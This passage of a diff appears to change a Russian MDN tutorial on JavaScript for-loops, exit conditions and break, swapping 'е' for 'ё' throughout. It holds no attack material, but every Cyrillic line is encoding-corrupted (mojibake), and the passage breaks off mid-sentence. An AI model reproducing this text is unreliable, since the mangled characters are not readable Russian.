- <li>Когда <code>i</code> достигнСт Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹ <code>cats.length</code> Ρ†ΠΈΠΊΠ» остановится ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρƒ ΠΊΠΎΠ΄Π° послС Ρ†ΠΈΠΊΠ»Π°.</li>
+ <li>Когда <code>i</code> достигнСт Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹ <code>cats.length</code> Ρ†ΠΈΠΊΠ» остановится ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρƒ ΠΊΠΎΠ΄Π° послС Ρ†ΠΈΠΊΠ»Π°.</li>
</ol>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: ΠœΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ условия Π²Ρ‹Ρ…ΠΎΠ΄Π°Β <code>i &lt; cats.length</code>, Π° Π½Π΅Β <code>i &lt;= cats.length</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ с  0,Β  Π° Π½Π΅ с 1 β€” Π² Π½Π°Ρ‡Π°Π»Π΅Β <code>i = 0</code>Β ΠΈ увСличиваСтся Π΄ΠΎΒ <code>i = 4</code> (индСкс послСднСго элСмСнта массива). <code>cats.length</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β 5, Ρ‚.ΠΊ. Π² массивС 5 элСмСнтов, Π½ΠΎ Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒ Π΄ΠΎΒ <code>i = 5</code>, Ρ‚.ΠΊ. <code>cats[5] </code>Π²Π΅Ρ€Π½Π΅Ρ‚Β <code>undefined</code>Β (Π² массивС Π½Π΅Ρ‚ элСмСнта с индСксом 5). Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΡ€ΠΈΠ΄Ρ‚ΠΈ ΠΊ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ Π½Π° 1 мСньшС, поэтому <code>i &lt; cats.length</code>, Π½Π΅ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎΠΆΠ΅ Ρ‡Ρ‚ΠΎΒ <code>i &lt;= cats.length</code>.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: ΠœΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ условия Π²Ρ‹Ρ…ΠΎΠ΄Π°Β <code>i &lt; cats.length</code>, Π° Π½Π΅Β <code>i &lt;= cats.length</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ с  0,Β  Π° Π½Π΅ с 1 β€” Π² Π½Π°Ρ‡Π°Π»Π΅Β <code>i = 0</code>Β ΠΈ увСличиваСтся Π΄ΠΎΒ <code>i = 4</code> (индСкс послСднСго элСмСнта массива). <code>cats.length</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β 5, Ρ‚.ΠΊ. Π² массивС 5 элСмСнтов, Π½ΠΎ Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒ Π΄ΠΎΒ <code>i = 5</code>, Ρ‚.ΠΊ. <code>cats[5] </code>Π²Π΅Ρ€Π½Ρ‘Ρ‚Β <code>undefined</code>Β (Π² массивС Π½Π΅Ρ‚ элСмСнта с индСксом 5). Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΡ€ΠΈΠ΄Ρ‚ΠΈ ΠΊ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ Π½Π° 1 мСньшС, поэтому <code>i &lt; cats.length</code>, Π½Π΅ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎΠΆΠ΅ Ρ‡Ρ‚ΠΎΒ <code>i &lt;= cats.length</code>.</p>
</div>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΠΎΠΉ ошибкой с условиСм Π²Ρ‹Ρ…ΠΎΠ΄Π° являСтся использованиС условия "Ρ€Π°Π²Π½Ρ‹ΠΉ" (<code>===</code>) ,Π° Π½Π΅ "мСньшС ΠΈΠ»ΠΈ Ρ€Π°Π²Π½ΠΎ" (<code>&lt;=</code>). Если Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ счСтчик Π΄ΠΎΒ <code>i = 5</code>, условиС Π²Ρ‹Ρ…ΠΎΠ΄Π° Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒΒ <code>i &lt;= cats.length</code>. Если ΠΌΡ‹ установим <code>i === cats.length</code>, Ρ†ΠΈΠΊΠ» Π½Π΅ начнСтся, Ρ‚.ΠΊ.Β <code>i</code> Π½Π΅ Ρ€Π°Π²Π½ΠΎΒ <code>5</code>Β Π½Π° самой ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ, поэтому Ρ†ΠΈΠΊΠ» остановится сразу.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΠΎΠΉ ошибкой с условиСм Π²Ρ‹Ρ…ΠΎΠ΄Π° являСтся использованиС условия "Ρ€Π°Π²Π½Ρ‹ΠΉ" (<code>===</code>) ,Π° Π½Π΅ "мСньшС ΠΈΠ»ΠΈ Ρ€Π°Π²Π½ΠΎ" (<code>&lt;=</code>). Если Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ счётчик Π΄ΠΎΒ <code>i = 5</code>, условиС Π²Ρ‹Ρ…ΠΎΠ΄Π° Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒΒ <code>i &lt;= cats.length</code>. Если ΠΌΡ‹ установим <code>i === cats.length</code>, Ρ†ΠΈΠΊΠ» Π½Π΅ начнётся, Ρ‚.ΠΊ.Β <code>i</code> Π½Π΅ Ρ€Π°Π²Π½ΠΎΒ <code>5</code>Β Π½Π° самой ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ, поэтому Ρ†ΠΈΠΊΠ» остановится сразу.</p>
</div>
-<p>ΠžΡΡ‚Π°Π΅Ρ‚ΡΡ ΠΎΠ΄Π½Π° нСбольшая ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°: выходная строка сформирована Π½Π΅ совсСм ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ:</p>
+<p>ΠžΡΡ‚Π°Ρ‘Ρ‚ΡΡ ΠΎΠ΄Π½Π° нСбольшая ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°: выходная строка сформирована Π½Π΅ совсСм ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ:</p>
<blockquote>
<p>ΠœΠΎΠΈΡ… кошСк Π·ΠΎΠ²ΡƒΡ‚Β Β Π‘ΠΈΠ»Π», Макс, Пикси, Алиса, Жасмин,</p>
@@ -279,17 +279,17 @@ para.textContent = info;</pre>
</div>
<div class="warning">
-<p><strong>Π’Π°ΠΆΠ½ΠΎ</strong>: Π‘ Ρ†ΠΈΠΊΠ»ΠΎΠΌΒ <strong>for</strong>, Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ†ΠΈΠΊΠ»Π°ΠΌΠΈ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ Ρ‡Ρ‚ΠΎ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ (счСтчик) ΠΈ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ построСны Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ достигнут условия Π²Ρ‹Ρ…ΠΎΠ΄Π°. Если этого Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Ρ‚ΠΎ Ρ†ΠΈΠΊΠ» Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒΡΡ Π²Π΅Ρ‡Π½ΠΎ. Π’ ΠΈΡ‚ΠΎΠ³Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠ»ΠΈ заставит Π΅Π³ΠΎ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ, или выдаст ΠΎΡˆΠΈΠ±ΠΊΡƒ. Π­Ρ‚ΠΎ называСтся <strong>бСсконСчным Ρ†ΠΈΠΊΠ»ΠΎΠΌ</strong>.</p>
+<p><strong>Π’Π°ΠΆΠ½ΠΎ</strong>: Π‘ Ρ†ΠΈΠΊΠ»ΠΎΠΌΒ <strong>for</strong>, Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ†ΠΈΠΊΠ»Π°ΠΌΠΈ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ Ρ‡Ρ‚ΠΎ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ (счётчик) ΠΈ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ построСны Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ достигнут условия Π²Ρ‹Ρ…ΠΎΠ΄Π°. Если этого Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, Ρ‚ΠΎ Ρ†ΠΈΠΊΠ» Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒΡΡ Π²Π΅Ρ‡Π½ΠΎ. Π’ ΠΈΡ‚ΠΎΠ³Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠ»ΠΈ заставит Π΅Π³ΠΎ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ, или выдаст ΠΎΡˆΠΈΠ±ΠΊΡƒ. Π­Ρ‚ΠΎ называСтся <strong>бСсконСчным Ρ†ΠΈΠΊΠ»ΠΎΠΌ</strong>.</p>
</div>
<h2 id="Π’Ρ‹Ρ…ΠΎΠ΄_ΠΈΠ·_Ρ†ΠΈΠΊΠ»Π°_с_ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ_break">Π’Ρ‹Ρ…ΠΎΠ΄ ΠΈΠ· Ρ†ΠΈΠΊΠ»Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ break</h2>
-<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹ΠΉΡ‚ΠΈ ΠΈΠ· Ρ†ΠΈΠΊΠ»Π° Π΄ΠΎΒ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ всСх ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΉ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <a href="/ru/docs/Web/JavaScript/Reference/Statements/break">break</a> . ΠœΡ‹ ΡƒΠΆΠ΅ Π²ΡΡ‚Ρ€Π΅Ρ‡Π°Π»ΠΈΡΡŒ с Π½ΠΈΠΌ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅, ΠΊΠΎΠ³Π΄Π° рассматривали ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <a href="/ru/docs/Learn/JavaScript/Building_blocks/conditionals#ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€_switch">switch</a>:Β ΠΊΠΎΠ³Π΄Π° происходит событиС, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ ΡƒΡΠ»ΠΎΠ²ΠΈΡŽ, прописанному ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ словом <code>case</code>Β Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° <code>switch</code>, условиС break ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΈΠ· конструкции <code>switch</code> ΠΈ запускаСт ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ послС Π½Π΅Π΅ ΠΊΠΎΠ΄.</p>
+<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹ΠΉΡ‚ΠΈ ΠΈΠ· Ρ†ΠΈΠΊΠ»Π° Π΄ΠΎΒ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ всСх ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΉ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <a href="/ru/docs/Web/JavaScript/Reference/Statements/break">break</a> . ΠœΡ‹ ΡƒΠΆΠ΅ Π²ΡΡ‚Ρ€Π΅Ρ‡Π°Π»ΠΈΡΡŒ с Π½ΠΈΠΌ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅, ΠΊΠΎΠ³Π΄Π° рассматривали ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <a href="/ru/docs/Learn/JavaScript/Building_blocks/conditionals#ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€_switch">switch</a>:Β ΠΊΠΎΠ³Π΄Π° происходит событиС, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ ΡƒΡΠ»ΠΎΠ²ΠΈΡŽ, прописанному ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ словом <code>case</code>Β Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° <code>switch</code>, условиС break ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΈΠ· конструкции <code>switch</code> ΠΈ запускаСт ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ послС Π½Π΅Ρ‘ ΠΊΠΎΠ΄.</p>
<p>Π’ΠΎΠΆΠ΅ самоС ΠΈ с Ρ†ΠΈΠΊΠ»Π°ΠΌΠΈ β€” условиС <code>break</code> ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ Ρ†ΠΈΠΊΠ» ΠΈ заставит Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ послС Ρ†ΠΈΠΊΠ»Π° ΠΊΠΎΠ΄.</p>
<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π² массивС Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π½Π°ΠΉΡ‚ΠΈ ΠΈΠΌΠ΅Π½Π° ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚ΠΎΠ² ΠΈ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹Π΅ Π½ΠΎΠΌΠ΅Ρ€Π°, Π° Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ Π½ΠΎΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ нашли.<br>
- НачнСм с Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈΒ HTML: ΠΏΠΎΠ»Π΅ {{htmlelement("input")}} позволяСт нам ввСсти имя для поиска, элСмСнт (ΠΊΠ½ΠΎΠΏΠΊΠ°) {{htmlelement("button")}} для подтвСрТдСния поиска, ΠΈ элСмСнт {{htmlelement("p")}} для отобраТСния Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°:</p>
+ Начнём с Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈΒ HTML: ΠΏΠΎΠ»Π΅ {{htmlelement("input")}} позволяСт нам ввСсти имя для поиска, элСмСнт (ΠΊΠ½ΠΎΠΏΠΊΠ°) {{htmlelement("button")}} для подтвСрТдСния поиска, ΠΈ элСмСнт {{htmlelement("p")}} для отобраТСния Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°:</p>
<pre class="brush: html notranslate">&lt;label for="search"&gt;Поиск по имСни: &lt;/label&gt;
&lt;input id="search" type="text"&gt;
@@ -370,16 +370,16 @@ btn.addEventListener('click', function() {
<ol>
<li>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго Ρƒ нас ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅: Ρƒ нас Π΅ΡΡ‚ΡŒ массив с ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ это строка, содСрТащая Π² сСбС имя ΠΈ Π½ΠΎΠΌΠ΅Ρ€ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌ.</li>
<li>Π”Π°Π»Π΅Π΅Β ΠΌΡ‹ примСняСм ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события ΠΊΠ½ΠΎΠΏΠΊΠΈ (<code>btn</code>),Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π΅Ρ‘ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ запускался ΠΊΠΎΠ΄ для поиска ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡΒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ².</li>
- <li>ΠœΡ‹ сохраняСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π² тСкстовоС ΠΏΠΎΠ»Π΅, Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽΒ  <code>searchName</code>, Π·Π°Ρ‚Π΅ΠΌΒ ΠΎΡ‡ΠΈΡ‰Π°Π΅ΠΌ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ тСкст ΠΈ снова фокусируСмся Π½Π° тСкстовом ΠΏΠΎΠ»Π΅ для Π½ΠΎΠ²ΠΎΠ³ΠΎ поиска.</li>
- <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π΅ΡΡƒΡŽΡ‰Π΅ΠΉ нас части β€” ΠΊ Ρ†ΠΈΠΊΠ»Ρƒ <code>for</code>:
+ <li>ΠœΡ‹ сохраняСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π² тСкстовоС ΠΏΠΎΠ»Π΅, Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽΒ  <code>searchName</code>, Π·Π°Ρ‚Π΅ΠΌΒ ΠΎΡ‡ΠΈΡ‰Π°Π΅ΠΌ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ тСкст ΠΈ снова фокусируСмся Π½Π° тСкстовом ΠΏΠΎΠ»Π΅ для Π½ΠΎΠ²ΠΎΠ³ΠΎ поиска.</li>
+ <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π΅ΡΡƒΡŽΡ‰Π΅ΠΉ нас части β€” ΠΊ Ρ†ΠΈΠΊΠ»Ρƒ <code>for</code>:
<ol>
- <li>ΠœΡ‹ Π½Π°Ρ‡Π°Π»ΠΈ счСтчик с <code>0</code>, запускаСм Ρ†ΠΈΠΊΠ» Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° счСтчик всё Π΅Ρ‰Ρ‘Β ΠΌΠ΅Π½ΡŒΡˆΠ΅, Ρ‡Π΅ΠΌ contacts.length, Π° ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ <code>i</code> ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅ΠΌ Π½Π° 1 послС ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π°.</li>
+ <li>ΠœΡ‹ Π½Π°Ρ‡Π°Π»ΠΈ счётчик с <code>0</code>, запускаСм Ρ†ΠΈΠΊΠ» Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° счётчик всё Π΅Ρ‰Ρ‘Β ΠΌΠ΅Π½ΡŒΡˆΠ΅, Ρ‡Π΅ΠΌ contacts.length, Π° ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ <code>i</code> ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅ΠΌ Π½Π° 1 послС ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π°.</li>
<li>Π’Π½ΡƒΡ‚Ρ€ΠΈ Ρ†ΠΈΠΊΠ»Π° ΠΌΡ‹ сначала раздСляСм Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚ (<code>contacts[i]</code>) Π½Π° символС двоСточия, ΠΈ сохраняСм ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ Π΄Π²Π° значСния Π² массивС с  Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <code>splitContact</code>.</li>
- <li>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ условный ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Ρ€Π°Π²Π½ΠΎ Π»ΠΈ <code>splitContact[0]</code> (имя ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π°) Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠΌΡƒ <code>searchName</code>. Если это Ρ‚Π°ΠΊ, ΠΌΡ‹ Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ строку Π² Π°Π±Π·Π°Ρ†, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠ² Π½ΠΎΠΌΠ΅Ρ€ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π°, ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ <code>break</code> для Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Ρ†ΠΈΠΊΠ»Π°.</li>
+ <li>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ условный ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Ρ€Π°Π²Π½ΠΎ Π»ΠΈ <code>splitContact[0]</code> (имя ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π°) Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌΡƒ <code>searchName</code>. Если это Ρ‚Π°ΠΊ, ΠΌΡ‹ Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ строку Π² Π°Π±Π·Π°Ρ†, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠ² Π½ΠΎΠΌΠ΅Ρ€ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π°, ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ <code>break</code> для Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Ρ†ΠΈΠΊΠ»Π°.</li>
</ol>
</li>
<li>
- <p>ПослС <a href="https://ru.wikipedia.org/wiki/%D0%98%D1%82%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D1%8F_(%D0%B7%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D1%8F)">ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ</a> <code>(contacts.length-1)</code>, Ссли имя ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π° Π½Π΅ совпадаСт с Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π² поисковом запросС, для тСкста Π°Π±Π·Π°Ρ†Π° устанавливаСтся: Β«ΠšΠΎΠ½Ρ‚Π°ΠΊΡ‚ Π½Π΅ 